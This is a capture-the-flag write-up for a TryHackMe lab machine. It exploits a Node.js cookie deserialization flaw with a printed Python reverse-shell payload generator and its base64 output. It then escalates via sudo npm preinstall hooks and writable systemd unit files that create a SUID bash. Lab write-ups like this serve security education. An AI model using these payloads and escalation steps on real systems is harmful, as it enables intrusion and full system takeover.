THM Writeup – VulnNet: Node

THM Writeup – VulnNet: Node

THM Writeup - VulnNet: Node

After the previous breach, VulnNet Entertainment states it won’t happen again. Can you prove they’re wrong?

Room: VulnNet: Node

Difficulty: Easy

Operating System: Linux

Author: SkyWaves

VulnNet Entertainment has moved its infrastructure and now they’re confident that no breach will happen again. You’re tasked to prove otherwise and penetrate their network.

This is again an attempt to recreate some more realistic scenario but with techniques packed into a single machine. Good luck!

Add IP address to your hosts file:

echo '10.10.153.129    node.thm' >> /etc/hosts

Scan the target machine – find open ports first:

nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv node.thm

PORT     STATE SERVICE    REASON
8080/tcp open  http-proxy syn-ack ttl 64

Get more details about open ports:

nmap -T4 -A -p 8080 node.thm

PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js Express framework
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: VulnNet – Your reliable news source – Try Now!

Enumeration

Explore the web application – browse to http://node.thm:8080/

webapp on port 8080

I viewed the page source, but found nothing interesting, then I noticed a cookie, that looks like Base64 encoded:

base64 encoded cookie

Grab the cookie and paste it e.g. to the BurpSuite’s Decoder – first URL decode it and then Base64 decode it:

burpsuite decoder decoding

This looks great – a JSON that says the app what user are we – let’s try to bypass authentication completelly.

Take the JSON, modify it, Base64 encode it and finally URL encode it:

burpsuite decoder encoding

Now take the encoded text and modify the cookie via developer console, then refresh the page:

webapp admin page

Do you see the difference? There is “WELCOME, ADMIN” instead of “WELCOME, GUEST”, however the app still asks us for credentials. Hm nevermind, I remember I did a box few weeks ago where I exploited nodejs deserialization vulnerability. This app definitely uses deserialization, otherwise how would it know we changed the cookie to be Admin? We can even prove it…

Change the cookie again, but this time set the cookie value to some gibberish (random text) and refresh the page:

nodejs deserialization error

Here we have the proof.

Use this script to generate a payload:

#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys
import base64

#if len(sys.argv) != 3:
#    print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
#    sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
    """String.CharCode"""
    encoded = ''
    for char in string:
        encoded = encoded + "," + str(ord(char))
    return encoded[1:]

print("[+] LHOST = " + IP_ADDR)
print("[+] LPORT = " + PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
        var sh = spawn('/bin/sh',[]);
        client.write("Connected!\\n");
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        sh.on('exit',function(code,signal){
          client.end("Disconnected!\\n");
        });
    });
    client.on('error', function(e) {
        setTimeout(c(HOST,PORT), TIMEOUT);
    });
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print("[+] Encoding")
print("njs payload: " + NODEJS_REV_SHELL)
PAYLOAD = charencode(NODEJS_REV_SHELL)
PAYLOAD = "eval(String.fromCharCode(" + PAYLOAD + "))"
print(PAYLOAD)

PAYLOAD = '{"rce":"_$$ND_FUNC$$_function (){' + PAYLOAD + '}()"}'
print(PAYLOAD)
PAYLOAD = base64.b64encode(PAYLOAD.encode('ascii'))
print(PAYLOAD)

You can find the original script here – the above is modified version so it can be run with python3 and the output is Base64 encoded.

Save it to a file e.g. nodejsshell.py

Generate the payload:

python3 nodejsshell.py 10.10.16.113 4242

b'eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7ZXZhbChTdHJpbmcuZnJvbUNoYXJDb2RlKDEwLDExOCw5NywxMTQsMzIsMTEwLDEwMSwxMTYsMzIsNjEsMzIsMTE0LDEwMSwxMTMsMTE3LDEwNSwxMTQsMTAxLDQwLDM5LDExMCwxMDEsMTE2LDM5LDQxLDU5LDEwLDExOCw5NywxMTQsMzIsMTE1LDExMiw5NywxMTksMTEwLDMyLDYxLDMyLDExNCwxMDEsMTEzLDExNywxMDUsMTE0LDEwMSw0MCwzOSw5OSwxMDQsMTA1LDEwOCwxMDAsOTUsMTEyLDExNCwxMTEsOTksMTAxLDExNSwxMTUsMzksNDEsNDYsMTE1LDExMiw5NywxMTksMTEwLDU5LDEwLDcyLDc5LDgzLDg0LDYxLDM0LDQ5LDQ4LDQ2LDQ5LDQ4LDQ2LDQ5LDU0LDQ2LDQ5LDQ5LDUxLDM0LDU5LDEwLDgwLDc5LDgyLDg0LDYxLDM0LDUyLDUwLDUyLDUwLDM0LDU5LDEwLDg0LDczLDc3LDY5LDc5LDg1LDg0LDYxLDM0LDUzLDQ4LDQ4LDQ4LDM0LDU5LDEwLDEwNSwxMDIsMzIsNDAsMTE2LDEyMSwxMTIsMTAxLDExMSwxMDIsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LDExMSwxMTYsMTExLDExNiwxMjEsMTEyLDEwMSw0Niw5OSwxMTEsMTEwLDExNiw5NywxMDUsMTEwLDExNSwzMiw2MSw2MSw2MSwzMiwzOSwxMTcsMTEwLDEwMCwxMDEsMTAyLDEwNSwxMTAsMTAxLDEwMCwzOSw0MSwzMiwxMjMsMzIsODMsMTE2LDExNCwxMDUsMTEwLDEwMyw0NiwxMTIsMTE0LDExMSwxMTYsMTExLDExNiwxMjEsMTEyLDEwMSw0Niw5OSwxMTEsMTEwLDExNiw5NywxMDUsMTEwLDExNSwzMiw2MSwzMiwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsNDAsMTA1LDExNiw0MSwzMiwxMjMsMzIsMTE0LDEwMSwxMTYsMTE3LDExNCwxMTAsMzIsMTE2LDEwNCwxMDUsMTE1LDQ2LDEwNSwxMTAsMTAwLDEwMSwxMjAsNzksMTAyLDQwLDEwNSwxMTYsNDEsMzIsMzMsNjEsMzIsNDUsNDksNTksMzIsMTI1LDU5LDMyLDEyNSwxMCwxMDIsMTE3LDExMCw5OSwxMTYsMTA1LDExMSwxMTAsMzIsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDExOCw5NywxMTQsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiwzMiw2MSwzMiwxMTAsMTAxLDExOSwzMiwxMTAsMTAxLDExNiw0Niw4MywxMTEsOTksMTA3LDEwMSwxMTYsNDAsNDEsNTksMTAsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0Niw5OSwxMTEsMTEwLDExMCwxMDEsOTksMTE2LDQwLDgwLDc5LDgyLDg0LDQ0LDMyLDcyLDc5LDgzLDg0LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCw0MSwzMiwxMjMsMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE4LDk3LDExNCwzMiwxMTUsMTA0LDMyLDYxLDMyLDExNSwxMTIsOTcsMTE5LDExMCw0MCwzOSw0Nyw5OCwxMDUsMTEwLDQ3LDExNSwxMDQsMzksNDQsOTEsOTMsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTksMTE0LDEwNSwxMTYsMTAxLDQwLDM0LDY3LDExMSwxMTAsMTEwLDEwMSw5OSwxMTYsMTAxLDEwMCwzMyw5MiwxMTAsMzQsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0NiwxMTIsMTA1LDExMiwxMDEsNDAsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMDUsMTEwLDQxLDU5LDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDQsNDYsMTE1LDExNiwxMDAsMTExLDExNywxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDEsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMTE1LDEwNCw0NiwxMTUsMTE2LDEwMCwxMDEsMTE0LDExNCw0NiwxMTIsMTA1LDExMiwxMDEsNDAsOTksMTA4LDEwNSwxMDEsMTEwLDExNiw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMTUsMTA0LDQ2LDExMSwxMTAsNDAsMzksMTAxLDEyMCwxMDUsMTE2LDM5LDQ0LDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCw5OSwxMTEsMTAwLDEwMSw0NCwxMTUsMTA1LDEwMywxMTAsOTcsMTA4LDQxLDEyMywxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQ2LDEwMSwxMTAsMTAwLDQwLDM0LDY4LDEwNSwxMTUsOTksMTExLDExMCwxMTAsMTAxLDk5LDExNiwxMDEsMTAwLDMzLDkyLDExMCwzNCw0MSw1OSwxMCwzMiwzMiwzMiwzMiwzMiwzMiwzMiwzMiwxMjUsNDEsNTksMTAsMzIsMzIsMzIsMzIsMTI1LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDk5LDEwOCwxMDUsMTAxLDExMCwxMTYsNDYsMTExLDExMCw0MCwzOSwxMDEsMTE0LDExNCwxMTEsMTE0LDM5LDQ0LDMyLDEwMiwxMTcsMTEwLDk5LDExNiwxMDUsMTExLDExMCw0MCwxMDEsNDEsMzIsMTIzLDEwLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDMyLDExNSwxMDEsMTE2LDg0LDEwNSwxMDksMTAxLDExMSwxMTcsMTE2LDQwLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDQ0LDMyLDg0LDczLDc3LDY5LDc5LDg1LDg0LDQxLDU5LDEwLDMyLDMyLDMyLDMyLDEyNSw0MSw1OSwxMCwxMjUsMTAsOTksNDAsNzIsNzksODMsODQsNDQsODAsNzksODIsODQsNDEsNTksMTApKX0oKSJ9'

Copy generated payload, paste it to the BurpSuite’s Decoder and URL encode it:

burp suite url encoding

Run a listener on your attacking machine:

nc -lnvp 4242

Now take the URL encoded payload, paste it as value of the cookie and refresh the page:

webapp modified cookie

And we received a reverse connection – simple shell.

User flag

We need to stabilize the shell:

python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL+Z
stty raw -echo; fg ENTER ENTER
export TERM=xterm-256color

Look around a little bit:

www@vulnnet-node:~/VulnNet-Node$ ls -lA /home
total 8
drwxr-x--- 17 serv-manage serv-manage 4096 Jan 24  2021 serv-manage
drwxr-xr-x  7 www         www         4096 Jan 24  2021 www
www@vulnnet-node:~/VulnNet-Node$ ls -lA /home/www
total 32
lrwxrwxrwx 1 root        root           9 Jan 24  2021 .bash_history -> /dev/null
-rw-r--r-- 1 www         www          220 Jan 24  2021 .bash_logout
-rw-r--r-- 1 www         www         3771 Jan 24  2021 .bashrc
drwx------ 3 www         www         4096 Jan 24  2021 .config
drwxrwxr-x 3 www         www         4096 Jan 24  2021 .local
drwxrwxr-x 5 serv-manage serv-manage 4096 Jan 24  2021 .npm
drwxrwxr-x 5 www         www         4096 Feb  7 19:04 .pm2
-rw-r--r-- 1 www         www          807 Jan 24  2021 .profile
drwxr-xr-x 5 www         www         4096 Jan 24  2021 VulnNet-Node

Ok, we are www user and we are in its home directory, there is no user flag and we don’t have permissions even to look into serv-manage‘s home directory.

Let’s try to find how to escalate our privileges:

www@vulnnet-node:~/VulnNet-Node$ sudo -l
Matching Defaults entries for www on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www may run the following commands on vulnnet-node:
    (serv-manage) NOPASSWD: /usr/bin/npm

We can run npm as serv-manage user.

Check GTFOBins how to exploit it:

gtfobins sudo npm

Now exploit it:

www@vulnnet-node:~/VulnNet-Node$ TF=$(mktemp -d)
www@vulnnet-node:~/VulnNet-Node$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
www@vulnnet-node:~/VulnNet-Node$ chmod 777 $TF
www@vulnnet-node:~/VulnNet-Node$ sudo -u serv-manage /usr/bin/npm -C $TF --unsafe-perm i

> @ preinstall /tmp/tmp.TvrCvOCp2q
> /bin/sh

$ id
uid=1000(serv-manage) gid=1000(serv-manage) groups=1000(serv-manage)

As you can see we need to set full permissions before we run sudo npm as serv-manage user.

Read the user flag:

$ cat user.txt	
THM{[REDACTED]}

Root flag

Spawn a shell:

python3 -c 'import pty;pty.spawn("/bin/bash");'

Let’s find a privilege escalation vector to root user:

serv-manage@vulnnet-node:~$ sudo -l
Matching Defaults entries for serv-manage on vulnnet-node:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User serv-manage may run the following commands on vulnnet-node:
    (root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl daemon-reload

We can start and stop vulnnet-auto.timer service as root without password.

Find the vulnnet-auto.timer service location and check the permissions:

serv-manage@vulnnet-node:~$ locate vulnnet-auto.timer
/etc/systemd/system/vulnnet-auto.timer
serv-manage@vulnnet-node:~$ ls -lA /etc/systemd/system/vulnnet-auto.timer
-rw-rw-r-- 1 root serv-manage 167 Jan 24  2021 /etc/systemd/system/vulnnet-auto.timer

This is great – as user serv-manage we have write permissions to vulnnet-auto.timer

Check the content:

serv-manage@vulnnet-node:~$ nano /etc/systemd/system/vulnnet-auto.timer

[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target

Hm, this service calls other service named vulnnet-job.service every 30 minutes.

First we have to check if we have write permissions also to vulnnet-job.service:

serv-manage@vulnnet-node:~$ locate vulnnet-job.service
/etc/systemd/system/vulnnet-job.service
serv-manage@vulnnet-node:~$ ls -lA /etc/systemd/system/vulnnet-job.service
-rw-rw-r-- 1 root serv-manage 197 Jan 24  2021 /etc/systemd/system/vulnnet-job.service

Great, so we’ll use this misconfigurations to escalate our privileges to root – actually it is a combination of misconfigurations:

  • we can restart (start/stop) the vulnnet-auto.timer service
  • we have write permissions to both services: vulnnet-auto.timer and vulnnet-job.service
  • we can reload the daemon (systemd files) – we need to do this after we change the services definitions

See the content of vulnnet-job.service:

serv-manage@vulnnet-node:~$ nano /etc/systemd/system/vulnnet-job.service

[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df

[Install]
WantedBy=multi-user.target

Here we need to change ExecStart parameter.

Ok, first change the content of vulnnet-auto.timer:

serv-manage@vulnnet-node:~$ nano /etc/systemd/system/vulnnet-auto.timer

[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/1 
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target

We change only OnCalendar value – so the services runs every minute.

Now change the content of vulnnet-job.service:

serv-manage@vulnnet-node:~$ nano /etc/systemd/system/vulnnet-job.service

[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
# ExecStart=/bin/df
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/bashroot;chmod +xs /tmp/bashroot'

[Install]
WantedBy=multi-user.target

Now stop vulnnet-auto.timer service, reload systemd files and start vulnnet-auto.timer:

serv-manage@vulnnet-node:~$ sudo /bin/systemctl stop vulnnet-auto.timer
serv-manage@vulnnet-node:~$ sudo /bin/systemctl daemon-reload
serv-manage@vulnnet-node:~$ sudo /bin/systemctl start vulnnet-auto.timer

Wait a minute and check if /tmp/bashroot was created.

If it was, execute and you’re root now:

serv-manage@vulnnet-node:~$ /tmp/bashroot -p
bashroot-4.4# id
uid=1000(serv-manage) gid=1000(serv-manage) euid=0(root) egid=0(root) groups=0(root),1000(serv-manage)
bashroot-4.4#

Our effective permissions are root…

Read the root flag:

bashroot-4.4# cat /root/root.txt
THM{[REDACTED]}

Do you like this writeup? Check out other THM Writeups.

Comments are closed.